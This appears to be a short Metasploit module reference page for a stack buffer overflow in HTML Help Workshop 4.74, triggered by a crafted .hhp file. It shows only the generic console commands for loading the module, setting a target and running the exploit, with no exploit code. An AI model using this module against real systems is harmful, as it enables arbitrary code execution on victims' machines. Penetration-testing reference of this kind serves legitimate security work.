This module exploits a stack buffer overflow in HTML Help Workshop 4.74 By creating a specially crafted hhp file, an attacker may be able to execute arbitrary code.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/fileformat/hhw_hhp_compiledfile_bof
msf exploit(hhw_hhp_compiledfile_bof) > show targets
...targets...
msf exploit(hhw_hhp_compiledfile_bof) > set TARGET < target-id >
msf exploit(hhw_hhp_compiledfile_bof) > show options
...show and set options...
msf exploit(hhw_hhp_compiledfile_bof) > exploit
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